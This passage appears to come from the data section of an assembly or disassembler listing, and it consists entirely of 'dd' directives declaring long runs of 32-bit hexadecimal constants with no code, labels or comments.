		dd 0C9F0B2F1h, 0D405BD7Dh, 6EAE6A3Ah, 8272ABF1h, 5AE92F07h
		dd 179CCAF4h, 2E2D7ADh,	6D8A4971h, 1EA3FF31h, 0D99D4A2Bh
		dd 0ABAF28ABh, 5111B7A4h, 0AA3918F4h, 1EC0C48Eh, 0AC4E52Eh
		dd 0A7619F2Bh, 0BDDB6B3Eh, 0D988645Bh, 0C8AA998Eh, 601A9D61h
		dd 0FF28DEA9h, 1838F46Eh, 0EDA2D72Dh, 0D3F265DDh, 4D733AF1h
		dd 61B91D9h, 3CF678A3h,	19A17168h, 96FD08DAh, 0CD7005E2h
		dd 759580A4h, 0D72B1DC8h
		dd 2759AC62h, 8EDE4F7Ah, 5255C485h, 280C8553h, 0FBB3C6C4h
		dd 366D4BF0h, 72693F28h, 2DBFD2A6h, 0B6706AFCh,	5616FCB0h
		dd 0AF0C46E2h, 0F8D8C098h, 3E507F0Dh, 3E79D26Dh, 217B8C2Ah
		dd 0DC88398Eh, 0F750DF2Dh, 467492D5h, 0EBA0671Fh, 87CAE504h
		dd 41300D19h, 0A277FBC9h, 8BDC11A2h, 90014D32h,	0D3B68195h
		dd 0EBA4A03Bh, 0B56C3E85h, 0BA8CC4A2h, 0EF1253h, 646C0B6h
		dd 0C63B5E34h, 974BB7A8h, 31C46FB2h, 6ECA8DF5h,	0C9CB570Ah
		dd 6921581h, 86998424h,	25497657h, 75EC9985h, 0AE2166ADh
		dd 0A38EF6D9h, 0C2DCA806h, 7B38FE2Dh, 5F3D6136h, 1FE72279h
		dd 9AD1DEBCh, 561BDE88h, 56F75746h, 384DD584h, 543546D0h
		dd 9B4FD1F2h, 0A44216A2h, 0FB32DF82h, 0BEFE89DFh, 1BB74F43h
		dd 0E8F0DFFEh, 279EC6BFh, 76523C98h, 0E2831DD3h, 3E259DC3h
		dd 19D7EB84h, 1CF441DAh, 196B8207h, 396EDFDBh, 0AF888467h
		dd 84B36E77h, 0F7FC8DCh, 81F0CEDCh, 7B3FDFE4h, 0E77AEDC1h
		dd 56AA1C18h, 0EB18C733h, 0FF2B7677h, 0E4DE4D66h, 0B90905B4h
		dd 9484A08Fh, 54D1D4CAh, 541666Bh, 6F6A9778h, 3730B0E5h
		dd 9DDDAECAh, 26DC99Bh,	0B566C30h, 506C1A84h, 5AAFF138h
		dd 3BC4F1E1h, 22D46A08h, 710FCF8Dh, 702485FDh, 8CDDCB1Ch
		dd 0F34F2C85h, 577B1110h, 0F418FCA2h, 6006699Dh, 7587DB96h
		dd 0ED315D5Ch, 6BB85369h, 51A3E352h, 0E26BF77Eh, 59A88E23h
		dd 32FB8946h, 0DF03B76Dh, 0A2725932h, 0C9C555DCh, 0C66A041Ch
		dd 0C7560253h, 2DF19F45h, 0E47110EDh, 51FBE0CEh, 203AD28Dh
		dd 415CCEEBh, 794A91E5h, 7F15EBCEh, 0A74EC18Ch,	716EAFDh
		dd 804CE0h, 92BE4962h, 47A7D029h, 0F3CB94h, 0FA72E3DEh
		dd 34514891h, 792D53A2h, 0EFED229Ah, 659AFA30h,	0D12D6E42h
		dd 217345Ch, 43157C6h, 0C923C14Fh, 795ED3Fh, 64EC7FD2h
		dd 0FA54BCA2h, 40C9499Ah, 683ED328h, 5D7D14B8h,	4216F0DCh
		dd 0E0B43DA2h, 86DBEB92h, 371E2D1Eh, 0CFDE7000h, 4A0E8B67h
		dd 39AF613Ch, 976A2E10h, 0B6050C55h, 148A4E0Fh,	29F18391h
		dd 79EC1893h, 70C640DEh, 4F4A329Fh, 28536F49h, 5FC80863h
		dd 0A0F11FF9h, 0E452D121h, 60A6B700h, 0B8883CD9h, 23EFE498h
		dd 0A42745Ch, 0B8DD7D8Dh, 0AAA47EC4h, 93A5FEBFh, 8D49DC04h
		dd 0C89C76A3h, 4DAF1705h, 74304271h, 18BFA4BFh,	0D57F105h
		dd 0AEA973E3h, 0A540A623h, 0B7D7FCC8h, 924BC6F9h, 691B9275h
		dd 0DCC2E006h, 593FD651h, 224C65C8h, 2AACE94Dh,	28A443BFh
		dd 5B53493Eh, 0A9825F55h, 68CA0465h, 235E80C0h,	39E9BF0Bh
		dd 30403740h, 94E603F3h, 0E50B4745h, 6FD7C463h,	0E0B4125Dh
		dd 9F0DD2CBh, 9086147Bh, 3BA7A7A3h, 1BBE127Fh, 0E761C7B7h
		dd 0C1A945B9h, 0A4B215h, 0E54E2313h, 4F54BB24h,	82076665h
		dd 0ECF8B15Ah, 1BA71797h, 2D3AA545h, 0E58DFDEAh, 0A559C680h
		dd 4E127C3Bh, 0C2C84C54h, 17595A57h, 642A3B19h,	0D2776039h
		dd 3AF6D6F8h, 4A4C1D45h, 78FE3A66h, 6126D8D0h, 0AFE6A898h
		dd 0C40EEB0Ch, 0BD2AF8B2h, 0C6900A7Bh, 18FE4EBDh, 5E55F143h
		dd 6F9A76F3h, 29AE13F5h, 0C35C22AEh, 0BDBA7DC3h, 0D98023Bh
		dd 0AFDDA25Eh, 0BFB8DC7Fh, 84294348h, 56BF39A6h, 4B24D673h
		dd 68F484B7h, 1DD38F79h, 113583BFh, 0CEC71D8Ch,	9BCD78E2h
		dd 2D846A08h, 0CBA9A122h, 5D66B6D6h, 9965CDD4h,	4A2BFC5Fh
		dd 9FF0ECCDh, 0B879AE64h, 6631E9A8h, 0F76173A2h, 294A39A7h
		dd 82F330E3h, 8F73393Ah, 781C97ECh, 18916D07h, 78846582h
		dd 194BAC85h, 0C5C4C33Dh, 1AA9826Fh, 0A464FD38h, 0C36AE1EFh
		dd 0DA4CF1EEh, 0B85791E3h, 33635914h, 0A497404Ch, 18D68341h
		dd 0FBF1CC0Bh, 9489E9EDh, 775CDFEEh, 2214E2BEh,	0ABE73331h
		dd 4EC99333h, 5E084F49h, 3B3DC98Ch, 1AA6FEA1h, 163A8AC6h
		dd 69572432h, 1358BD90h, 0AD8731AEh, 474859Ch, 25A99895h
		dd 0F7010244h, 28A00597h, 4358AF65h, 79941E7Eh,	0DA636195h
		dd 0A6283779h, 0E74044A1h, 95FFF141h, 0A8E8002Eh, 11ACA5Ch
		dd 0BFDCB6D9h, 46DB63D7h, 159B6207h, 0B18E732Eh, 2ADC679Ch
		dd 0E8AC5A95h, 0CC476B52h, 0DA0E0B8Ch, 55CFF648h, 0FBE6B150h
		dd 31A126EAh, 0C90C3452h, 2E39B4BFh, 8A4426E0h,	0A081A4Ah
		dd 8DEC3A9Bh, 0BF7EB936h, 0F5BFA54Ch, 17C3B852h, 0EC351986h
		dd 296727Fh, 6F9A6DE1h,	97C7E1EBh, 37219CACh, 75743AF2h
		dd 919BC79Fh, 5B9B6EECh, 62481D3Ah, 7F13B95Ch, 0F448B0A8h
		dd 7D1425E9h, 9A128FD1h, 54216CADh, 6A377CEFh, 237C1158h
		dd 2014E1F9h, 0E4CBB55Fh, 0D8CE47B0h, 0FDCC21Bh, 0A80FE101h
		dd 843E1EDAh, 8558D551h, 0AA847C4Dh, 8FEC1C99h,	0EE02253Ah
		dd 0AC3AA7CFh, 1F4EFD38h, 6BA458E2h, 52406F94h,	26923739h
		dd 0ABCA32C5h, 666FE41Fh, 0FB2C148Dh, 0C1ED80D5h, 365737C6h
		dd 74908CECh, 0A007EF30h, 0AC10C552h, 41D06B41h, 0ED96020Ch
		dd 77F08494h, 70326771h, 27CCB615h, 0D669E930h,	0BA9C4977h
		dd 83A530F8h, 1199BEBDh, 0A7577843h, 5987AA71h,	19C33C35h
		dd 2A8429B1h, 75F0A913h, 44057D20h, 4E7E032Ch, 178EAEDAh
		dd 4762A9FFh, 5A9E14D1h, 0FCEEDA40h, 7152D90h, 99AD08F0h
		dd 41B01E98h, 0CE38DD1Dh, 0A3BD9A22h, 0E6B4CC3Fh, 0A2C1E3C3h
		dd 0A5551FCBh, 0F92C2328h, 7F0F0D8Ah, 917224Bh,	8F3FA6C9h
		dd 0EFF481E6h, 0C88DC257h, 0C9F271C9h, 0FA0CAC17h, 0C7FFBCAFh
		dd 0F7657173h, 77640621h, 0B75ABC39h, 473909A2h, 0BC81FC6Bh
		dd 8DB1DA81h, 13601784h, 976D4D0h, 24F90CFAh, 78EE8684h
		dd 88786A5Bh, 535C02A4h, 0D34D339Ah, 0D272ECB6h, 56BE8E36h
		dd 9208D5A8h, 8037737h,	8A9EFDF0h, 64A40E3Fh, 6536FE89h
		dd 2D91389h, 0BC0C1E94h, 94D885C2h, 280EBE90h, 0EE1F5CA8h
		dd 7FA05BE3h, 43208664h, 0F5DE7744h, 548A0D3Dh,	86E096E9h
		dd 0F80FDDB9h, 3BF0FD49h, 53C0916Ah, 4025FFB0h,	0C619040Eh
		dd 904E9888h, 12E29D1Bh, 0D05F57B5h, 0CD977C72h, 0C9C89EBFh
		dd 0D638F3Fh, 9C74F5BBh, 105CCD4Bh, 9F0F7E29h, 9992F714h
		dd 968B344Ah, 54F8C50Fh, 541B28E5h, 0CE289571h,	19806B6Dh
		dd 6BB21EE4h, 98296194h, 0EA44AA4h, 217EFE6Eh, 81ABE955h
		dd 7EF36187h, 0BA0DFF3Ch, 14BB5B24h, 0BEA31993h, 0EF7B3259h
		dd 1A4C045Ch, 6DA73263h, 8FB74A22h, 0C40918D5h,	8E7EBCF4h
		dd 4EEED44h, 6D51807Ch,	275360E8h, 2E2BCE93h, 31975591h
		dd 0A814250Ch, 0A6FC9A1h, 0CB7D1BE2h, 8BCEE074h, 242B5B6Fh
		dd 64CDB9FBh, 6E0A15F8h, 2221E706h, 0E8CE6072h,	9F9B655Bh
		dd 7AF8EB00h, 4C6529E0h, 0DB46E617h, 3E2BFDD8h,	3375A21Fh
		dd 3D1E7A97h, 0F9FD3225h, 7714D22Bh, 0DF3646B0h, 94414405h
		dd 0DD95DF63h, 0DBBB29A0h, 0C9FE1060h, 0BFAF25FCh, 0FFA614FFh
		dd 6AD6D4B7h, 4E7CBE9Fh, 88F148B2h, 9A705B61h, 0CC7F094h
		dd 4C7A9A3Fh, 5F62ACB2h, 28CE9CEFh, 0A1D8559Eh,	0E67BDB35h
		dd 290B3829h, 0B806B156h, 8C542B58h, 101B3702h,	518417B8h
		dd 31821110h, 0ACA2CC61h, 36D7C320h, 6907262Eh,	8BAC0531h
		dd 0E7BDB8E8h, 0EE854302h, 0DA6994ABh, 8B985B84h, 919B59C4h
		dd 125B8B28h, 0EDB24695h, 0DFAD2E96h, 99B999BAh, 5C0A8873h
		dd 0A2D0E31Bh, 7DDECEF6h, 0E06120E7h, 6FBA873Ch, 0F30F41F0h
		dd 79DA0FEFh, 25CBD2D6h, 0F6C905B0h, 5762A607h,	5260581Ah
		dd 0BCF86D45h, 888E94F7h
		dd 0DF9C0234h, 18B134Ch, 89CE7803h, 0E4AC0A5Eh,	0C2BCAD11h
		dd 6623A36Ah, 7568DDDh,	232A9680h, 9BE19701h, 0F647038Dh
		dd 1CEC7BD4h, 0A74A86B6h, 0CF232C73h, 0D0A24E6h, 0ECFF10F3h
		dd 928C018Ah, 24DBB13Dh, 475BBA2Dh, 6CF86426h, 0D10D0933h
		dd 0C5872632h, 0CE2284A1h, 57F4CEA4h, 0A49C17ACh, 0B57EBA19h
		dd 7AA05E3Bh, 0C9ADD64Dh, 0E6488D8Fh, 9BFC1C77h, 4F414B17h
		dd 739A53E8h, 77DCAEB8h, 7178C405h, 2F6B45EDh, 6B45866h
		dd 9D6E25DCh, 97EC35DEh, 8655F6B2h, 0C53508D8h,	0E3C2C7CEh
		dd 19DD2589h, 76F76AC9h, 0B61ACF35h, 0EFECD0B6h, 33A57B0Fh
		dd 0D5ECB372h, 814B691Ch, 459039DBh, 28B00B17h,	2812B90Bh
		dd 70D9F9E8h, 9C581415h, 0CFA933E7h, 0ED7F4671h, 0E3EA46F9h
		dd 8B447D9Ch, 8B31BF1Dh, 9C79BEF1h, 0EAA96157h,	0DA4281Dh
		dd 3A9E3604h, 0C9B331F8h, 6D0D52A9h, 0F3DE284Ah, 0A5B26641h
		dd 64D5D7A1h, 9D2E912Ah, 23AA7007h, 180E79EDh, 656DA119h
		dd 0ABCEB9F4h, 97086ADAh, 76A4C8B8h, 0E2899603h, 0B1C6EA36h
		dd 519A3A3h, 6459B8BBh,	80B93355h, 3DE5C9D1h, 9CDAC891h
		dd 0D3AE3E6Fh, 0A68E9822h, 0EECC8606h, 0B55972A1h, 5BBDE1AEh
		dd 0E6093876h, 0BDD6AEEDh, 1FCFEF83h, 65877DECh, 0ED9906h
		dd 6E230190h, 4A4470D8h, 7B39D852h, 3658DF08h, 1792C2E4h
		dd 65925D15h, 0D5D0ED8h, 4E5CED59h, 0A9D6D923h,	0B1D9DCAAh
		dd 799C87A2h, 70E87DBh,	2C1576BEh, 0BDABFA99h, 478816BFh
		dd 0D4C3F52h, 67D5EF77h, 0D5AF5441h, 0C5373243h, 17C92781h
		dd 91AAB76Eh, 88343659h, 0E648B9F1h, 0A0D6D40Ch, 6A1A5726h
		dd 7E13A49Bh, 76A69F9Fh, 0F9E74879h, 0DE83FF43h, 0F9E2166Bh
		dd 244A1A3Dh, 8DF122AEh, 0BAB08C42h, 0B60C79AAh, 0B64F3CC8h
		dd 0D89DD0FFh, 0A079F0CFh, 0FE563160h, 8EB1067Eh, 0D3685607h
		dd 0CB9BD910h, 59EDCF92h, 0AA47AC8Fh, 45483FE8h, 5805558h
		dd 60BE5F3Fh, 7BD31120h, 42BC06CEh, 5011952Eh, 30D3BE15h
		dd 6C5526AEh, 780011AFh, 0C067B496h, 0EA5F3596h, 0CB256CBDh
		dd 7FD6E40Ah, 0DA8B07E8h, 0A06AE90h, 8963973Ch,	0AC75BEFFh
		dd 0EAB83047h, 9CF8A288h, 0B8CBD64Fh, 0EA4EAEBBh, 94DB0EA3h
		dd 3AD7C7D5h, 0C1E1F47Eh, 2E157E77h, 7C54E220h,	4843D855h
		dd 0CE6D121Dh, 5CE78E99h, 6FFEDA50h, 2096BBD2h,	0A247EF92h
		dd 0D195214Dh, 0E24D54E4h, 1EEB7E53h, 4FA39DCBh, 6A75AE34h
		dd 148B4866h, 3ECE7199h, 0A9148F90h, 0DE512549h, 4AC44488h
		dd 5BA778D6h, 45AE93C7h, 264860E3h, 8C952817h, 0D2BA6E27h
		dd 0BE5C23C7h, 0D64815D2h, 62068AF5h, 4379842Fh, 4E5901DFh
		dd 0EDDDD0A5h, 6631F2FCh, 2F30125Bh, 0D9577D0Dh, 0E6A274B2h
		dd 0AEA56D8Bh, 6E9C7860h, 60B493B6h, 0DEF31A1Dh, 8F46D4B3h
		dd 0E7BBF498h, 0C8A68D6h, 0F79DDCBh, 17BDD7D9h,	312B3FA3h
		dd 0B824B6A3h, 9B6A134Eh, 0FC8AA63Bh, 52562598h, 25A264D6h
		dd 3DFCD501h, 6588B776h, 78EEE42Fh, 11C36403h, 5FBFC08Ch
		dd 0FA4635A1h, 1C399920h, 0D5D58F23h, 37DB4Ch, 0AA4632E5h
		dd 248A66A0h, 458CBDAh,	348B77C8h, 2909FEFEh, 5164750Eh
		dd 0A82F4E83h, 7080D52Ah, 3658897h, 13CA42AFh, 48636451h
		dd 6E4F46ABh, 0A5E5ED88h, 0A44F5FFFh, 14275EDFh, 1828392Ch
		dd 0DDB0971Fh, 6B68D3EFh, 8D4FBEB3h, 0CDDDCDC8h, 0BDB40E4Fh
		dd 7945FFD7h, 0C8A4208Ah, 2778A577h, 0F6270B11h, 975C42B4h
		dd 63A8D4D1h, 0F493937Dh, 75F559CDh, 0AB039204h, 56802A76h
		dd 0FC4DBF8Eh, 0D72E7032h, 8DF30750h, 792B887Eh, 12328C7Ch
		dd 2751BBA2h, 855213BAh, 3D435218h, 0EA6B04B9h,	6FC828F9h
		dd 77358CBAh, 682DD8B0h, 749DEF2Bh, 1373D41Fh, 0A03BA616h
		dd 318151C3h, 0A293E9D5h, 0E46A34DAh, 91F0D24Ch, 411C97ABh
		dd 38BA4F58h, 5DB3104Bh, 8BF4933Bh, 1F134CACh, 12D22316h
		dd 8EFD916Bh, 0C5599C7Ch, 0B88AFF9Bh, 0F695464Ah, 78B12C51h
		dd 0C2C2B28Dh, 73B4DE57h, 0E17B4F69h, 0EFA94374h, 0A78E5654h
		dd 991161EDh, 47BD5A2Fh, 0E58CA0C8h, 9EF0A519h,	313266FCh
		dd 0BF7EFF64h, 3F710CE4h, 452D8D35h, 0B8FB7181h, 838F9C66h
		dd 928700E7h, 0A2BEDCDEh, 2A3D2634h, 0C98A8B10h, 0CCA5B1EEh
		dd 7EACF225h, 5F128625h, 2924F2E9h, 249B8F33h, 98B6D036h
		dd 6C722428h, 0B0E18645h, 7BF48613h, 0C56A06C8h, 6101C338h
		dd 637C55A7h, 0A0BB3B02h, 0A8E9802Fh, 545111BFh, 0AB2B920Dh
		dd 69B61172h, 1CA32693h, 2F531FAAh, 640CCFA8h, 3B27A3D9h
		dd 0D5360AB0h, 32D38F6Dh, 717683C1h, 0BB373778h, 7278A589h
		dd 6F3AAF09h, 0FC7E8D9Ah, 2AF08523h, 24C94A74h,	1684AE78h
		dd 9FAED14Dh, 5EF8A91h,	0D6535D2Ah, 43756A3Fh, 247A1048h
		dd 57CBCABh, 51C98BDh, 0AE2D0EE4h, 88A47D10h, 75FB3947h
		dd 0D4E0BF8Dh, 6821072h, 53A4AAB7h, 8B4DA0Eh, 171073F7h
		dd 2ACCE009h, 3CEA57BEh, 52B47878h, 0E8E8BE35h,	0A8EFBA4Ch
		dd 289D8A31h, 0A090D31Ah, 0AAED508Bh, 320B1E54h, 0DE1B4238h
		dd 0FD1C3F3Ah, 9EAE7A37h, 0FDC7B441h, 3D729B7Bh, 0D5462065h
		dd 0DA576821h, 2765F499h, 3D1A9C44h, 8023859Dh,	0F4A1A458h
		dd 0CA2FFB5Ch, 0EC4E1205h, 33D11693h, 55EB6539h, 0B89D246Bh
		dd 8B8B10E6h, 7337BBB7h, 63C30926h, 8F26DA91h, 8C1E034h
		dd 75E75326h, 0FD70956Fh, 4B21C69Bh, 1C2C58FDh,	8DBE20F2h
		dd 277E2851h, 0B9B5C6C0h, 0A5EA99DAh, 351A3C70h, 0F0DD543Eh
		dd 888C25D5h, 33EDAF7Fh, 0ABA01F06h, 1E9B3320h,	0BB36A544h
		dd 4414CA44h, 0C92BE92Ch, 7D25A93Ah, 4EB288D6h,	0CD5E0D7Eh
		dd 0E5A35409h, 6FC37Ch,	0C17C7880h, 4B95E543h, 0AFE3975h
		dd 0B90B934Ah, 2C53F959h, 0A44C92BFh, 90543CB1h, 2D8B152Fh
		dd 0A1A66822h, 0A33401E8h, 0A8B6467Fh, 0DA13C7C2h, 746001E6h
		dd 81E48DF2h, 75881CC7h, 0CA99B291h, 0DE635F5h,	7B74E4h
		dd 56A70BC5h, 0D985DEDEh, 0CC4AF7ECh, 0DE841B16h, 63CDF994h
		dd 2DF8201Eh, 0D3938FAAh, 0EA3BE12Bh, 1955869Eh, 8EEBC11Dh
		dd 94C7FAA2h, 1915339h,	0A0D3E78Dh, 99844E58h, 62683EE7h
		dd 2F54085Ah, 0BD77B6BBh, 0DDD1AF3Dh, 0F648D881h, 1BF2453Fh
		dd 1A5251Bh, 9156666Eh,	68B4F9E4h, 3BA34F6Bh, 5C3DC086h
		dd 0CE40F9B8h, 3DBC2AC3h, 0F36BED3Eh, 6DF5AB0Ch, 395FFCDDh
		dd 0A1C08C16h, 76294AF9h, 56BA4793h, 5EEAC68Ah,	0C52D69A8h
		dd 5177BB85h, 685DD6B5h, 9008718Eh, 75C55DF9h, 41C34B2Ah
		dd 9E3CFC2Bh, 0D06AE4D6h, 0EF7F825h, 88C4B61Fh,	0E0578B7Fh
		dd 34CEB198h, 4C6C8223h, 64270083h, 730249A8h, 524C2333h
		dd 93B46C48h, 3E3FCDE5h, 31CCAF88h, 5D905F23h, 0C426AA2h
		dd 0A9B87E69h, 10B44967h, 8CC38E03h, 0BC7C5C97h, 2D97337Eh
		dd 9F398F31h, 510A3FFCh, 818AAA3h, 3A554508h, 1CF5AD66h
		dd 0EBB25F69h, 51E0C186h, 0DBE7E5C1h, 3C41C0E1h, 39BDDF40h
		dd 0FC8E0ECDh, 0CF90BF53h, 0C4E82FEFh, 0E683B861h, 7AD020F6h
		dd 0C164452Fh, 0E9EBC391h, 9D223FFBh, 58206BA7h, 0F4A7EF62h
		dd 90C9C417h, 57C7A123h, 82AC3ADDh, 0F424623Ch,	5D1A49FCh
		dd 72CD48C6h, 0F1C2E799h, 0B69D616Ah, 0A3617C22h, 0F0603ECDh
		dd 8C18C83Ah, 768AC15Fh, 6814E450h, 4CB2F096h, 0BACC4D8Dh
		dd 4C3E36A7h, 7FFD2179h, 518263FAh, 3DC22D41h, 5A83D0B0h
		dd 0BE85A277h, 0A14ED312h
		dd 10D963F5h, 0F6FA4D05h, 0DE003E69h, 0A18B09BEh, 0BCCE60B3h
		dd 0DE30C8F5h, 97234C58h, 36025020h, 0A82E1FFDh, 0C852C67Ah
		dd 0E076AB56h, 0F1EDC972h, 0F67CD0FCh, 5B00454Eh, 0DB06A0D5h
		dd 2BB20D36h, 312EE9DAh, 0A37A6F75h, 0F3F517DEh, 9F5CFB75h
		dd 44A5328Fh, 383C314Fh, 48684901h, 0EDD3BC2Dh,	0CE44F1B3h
		dd 0CE23B855h, 0B1FC091Eh, 0ECADB0Bh, 3806CAAh,	4409E231h
		dd 24370FBCh, 53EF704Ch, 6E0ECC55h, 679FFB15h, 0A41C0A8Dh
		dd 6E45BDF8h, 416EE623h, 32841BD3h, 414671FBh, 0BC67C0D1h
		dd 5ABE5003h, 843FDB6Dh, 6261C750h, 4F973BB4h, 54C933FBh
		dd 0BB661EF1h, 134547F2h, 0BEFB7F76h, 0DBD53402h, 0DD94811Eh
		dd 175D2C80h, 1D1EDA6Bh, 9F6C0795h, 1CBD5711h, 0A9CD480Fh
		dd 6E0413A0h, 90CBBB3Fh, 492DD8F0h, 0DC83EC51h,	342A2772h
		dd 0DA66BCDDh, 0F18BE304h, 1DD99A94h, 63D3B60Ah, 88402D27h
		dd 3740368Ch, 49F8292Ah, 22970FA1h, 0D6D5A9D5h,	0BE205F7Ah
		dd 90ECCAB7h, 0FF518DB7h, 712E05E3h, 0C22A9649h, 40B73FE3h
		dd 66494C9Dh, 865F8B8h,	0DD33A2CBh, 0AD119347h,	0E7DE24EFh
		dd 19F226D2h, 28EC2C41h, 0E07E014Bh, 1D241BD1h,	0AF217FF1h
		dd 0A2CF8B8Fh, 1DA77550h, 6F4C5D67h, 0F66EBD95h, 4DDCF8CAh
		dd 0EB85E785h, 4FE7467Bh, 8D33F558h, 0C0BCA777h, 191544AAh
		dd 113F182Dh, 493CEE96h, 6FEC79CEh, 0AE256FF8h,	2FEC2C50h
		dd 5243B8Ah, 0C83FE83Eh, 8455BE0Eh, 86254BA6h, 492A26CFh
		dd 5861768Ch, 0F83310F1h, 72995116h, 36762050h,	0A156F712h
		dd 9DF326C3h, 0C6D03C9Ah, 6E32A6B3h, 746D2B93h,	0E68D125h
		dd 5E17B493h, 15D552F9h, 0CC018170h, 9200CF0Bh,	8F1E2067h
		dd 0C94F6F24h, 0A4A7B258h, 0C7FD5A7Ah, 793FD120h, 0DA0E12BBh
		dd 0CC54500Fh, 88E7B5B5h, 37AB21A8h, 0A0378A35h, 4A85044Eh
		dd 597C5074h, 574D1B7Eh, 3C62D9DDh, 9C94E6Dh, 21CBCD39h
		dd 2F7F06EBh, 79F62D83h, 71AE3E02h, 236A2B36h, 0B4BA9892h
		dd 4B4DF8C4h, 0CA2DCB66h, 0BFA1898Ah, 79853652h, 422399C0h
		dd 67090770h, 76951E7Dh, 0F137CE04h, 0AF71438h,	0B12CE99Ah
		dd 5AB67E70h, 79A74AFBh, 0CED266A0h, 0C78BCDFh,	0E579D6E2h
		dd 406B4F9Fh, 22F3E2BDh, 0CE878864h, 0C97C4B9Fh, 0FA1AF41Fh
		dd 0C281FEE5h, 42FBAC88h, 0B78EA99Ch, 0A539D87Ch, 98BC44B0h
		dd 0FFA3FF73h, 0C5D574EAh, 2FC3FF90h, 76B92C0h,	0EB93A45Ah
		dd 0C9844482h, 0E5ACB236h, 7ACEABD1h, 946CD6FBh, 2DEBE240h
		dd 2664DAD6h, 0A55E52AAh, 1C3798FFh, 3593C77Ch,	62A6981Fh
		dd 7CE2F14Ah, 9690B4D7h, 9E523C52h, 4E403DC3h, 0D2412E2Dh
		dd 4E950A74h, 4CF4E45Eh, 0DE07E1B4h, 7FF2B0A9h,	8BD2E1CEh
		dd 7FD40AB7h, 456E5CC2h, 3B95FEDEh, 70FDB154h, 0A6E516BEh
		dd 2CF7AF90h, 6691665Fh, 8EAD678Dh, 9C1FEA1Fh, 0A35E0EB1h
		dd 68B5141Eh, 0E89FC1AFh, 2B788F2Fh, 15125B0Fh,	7CFB0FCFh
		dd 0AA03965Ch, 86C45B2Ah, 0C1D3EAA6h, 56C6B870h, 34CAE938h
		dd 6590BAF8h, 3EAA7066h, 0BCD477C4h, 0DFECD7A4h, 5C2ED663h
		dd 0F58BF782h, 97BB67AAh, 0F0AF1634h, 93F9D49Dh, 0C00DE4D2h
		dd 7A75B97Ah, 4E284CFCh, 0A823CC45h, 7B617113h,	836F3EB1h
		dd 0CA13F631h, 715D6F93h, 47EFD128h, 16A7ED64h,	70959A77h
		dd 0D41EFC81h, 35E520A4h, 0AFB54FF3h, 84597AF5h, 759D4B8Fh
		dd 6DBBED1Dh, 0BB867B1Ch, 42EDEE9Ah, 54847EE3h,	4763E7C2h
		dd 1F2C700Dh, 0F82E2E9Ch, 1C1AA909h, 0DE4C4860h, 0E77AB9D4h
		dd 0C2A4ED5h, 0E7D954F9h, 8F7B04EDh, 114A45FEh,	1668EAC8h
		dd 0F510CDE2h, 0D3947775h, 8BC2991h, 0C4C3D4CFh, 475B6511h
		dd 0DDFB248Eh, 66DED411h, 0EF224186h, 686C9366h, 0E2AD476Ch
		dd 39B0A863h, 264542B1h, 38177618h, 55357184h, 0D43A3C6h
		dd 6CBDD6E9h, 0D29D89D4h, 1FB82F77h, 0FF552A9Ah, 997FAD82h
		dd 2B920E78h, 6DB9B6Ah,	0C5F0C553h, 0EEDF5D16h,	5EB6EBACh
		dd 20C65C3Fh, 0DFE8C9B0h, 17829A9Dh, 0F31031Ah,	0C7689650h
		dd 0DD4F72BCh, 0D033311Dh, 7CEA865Bh, 5E161C8Ah, 0B3DD1145h
		dd 124E9D7Fh, 9292B94Eh, 0CF407138h, 1BC03704h,	24E07495h
		dd 0F3FC8BDh, 0E54422DCh, 0D3F31BDEh, 8CCA5332h, 0CD4F358Ch
		dd 93F1DF88h, 6200ED6h,	0C73C7628h, 0B661EC70h,	1EDD3748h
		dd 202F1192h, 0A28F70DBh, 7AAD9DABh, 41D2F257h,	5E67360Ah
		dd 7957C258h, 4A97DCB4h, 0FD6B8E04h, 0A0E63877h, 633A0722h
		dd 8A8C6C70h, 64DC4FB7h, 0F1EB5425h, 0E33B4EF7h, 6C372F84h
		dd 0E1C2EB2Dh, 406089ABh, 7DE152BCh, 11B66A7h, 0D28D0FCEh
		dd 54FC854Ah, 0EB38475Ch, 25A88ECDh, 0F22DD28Fh, 6FC6886Ch
		dd 25A3B41Ah, 946C80D7h, 0E9C7645Ch, 13C645Bh, 710BDD2Ah
		dd 0D7248A8Dh, 2BB7BFE7h, 7E842EEAh, 0BDCA934Fh, 0B14DF746h
		dd 8EBA52B9h, 0E66C76AFh, 7B07ACE7h, 0C68D0D4Bh, 13802BD6h
		dd 19ADAA52h, 0DC2961A1h, 65C2BED2h, 84A93A2h, 51C3CC1Ch
		dd 0AEBB833Eh, 0D64277FCh, 0C7165E2Ch, 0E79866E9h, 3A47823h
		dd 0F5D06F7Eh, 28F3052Eh, 0E1424BB0h, 4E7351ABh, 236915DEh
		dd 0C2074D74h, 0A167C4AAh, 460A1ACFh, 27A2689Dh, 0FF642ABh
		dd 18CE045Bh, 87B9A9D4h, 9BA1F4E2h, 0B006278Ah,	4E2B8CFFh
		dd 2535E33Ch, 8BF4A024h, 635BF403h, 0CD512B4Dh,	0FC1EFF75h
		dd 145486C2h, 809962D8h, 3CC6E369h, 35CDBC11h, 0B98D9F1Dh
		dd 58216554h, 44712A0Fh, 18FE5CC6h, 4FAAC18Dh, 121AFE5h
		dd 5142405Dh, 22CFE344h, 0D49DF467h, 0A96781BCh, 0DDEE51BEh
		dd 78DD2C94h, 154DC7C0h, 0D91B8E5Bh, 0A5A63A1Fh, 600B1D5Ch
		dd 641609FCh, 4728804Dh, 0B3BB3BEFh, 3AE0BD18h,	1C27F0CFh
		dd 0C0F8AB98h, 0B0C73A9Eh, 0E620B8B6h, 0E509CE77h, 0F6771CD3h
		dd 0E46AA262h, 0D37B4407h, 0F60BC474h, 0DB88E449h, 2CA47794h
		dd 7632F72h, 4BB4357Eh,	37E8090Bh, 78F56C41h, 69426BC9h
		dd 0CF4EE378h, 188964CAh, 244292BFh, 0E8127A9Fh, 0DCA924D9h
		dd 762BDAC4h, 222490A2h, 0DB88ACC6h, 0AD17FBABh, 278C6B96h
		dd 0ECEEF22Bh, 792987B3h, 65E73CADh, 0E9CD0A60h, 30135AF9h
		dd 525B6A9Ah, 9E6D4067h, 0C4D21E98h, 0C35B5ECh,	0C63948D6h
		dd 0E93B275Ah, 5ACCB57Bh, 9121EC3Dh, 0EE9270BCh, 242CF3D6h
		dd 0C2149953h, 16BE2941h, 0B525AFCEh, 7235E3F0h, 51AE96D3h
		dd 0F290A8D8h, 30458A8Dh, 0ADBE524Eh, 8D417A8Ch, 7BE4CC9Eh
		dd 4B57FF86h, 0A6D6D089h, 9E7F48FFh, 0A2A64924h, 0EFF28CD9h
		dd 3071D86h, 0A00FBF8h,	9ABDC88h, 0C9993A06h, 56AD6AB7h
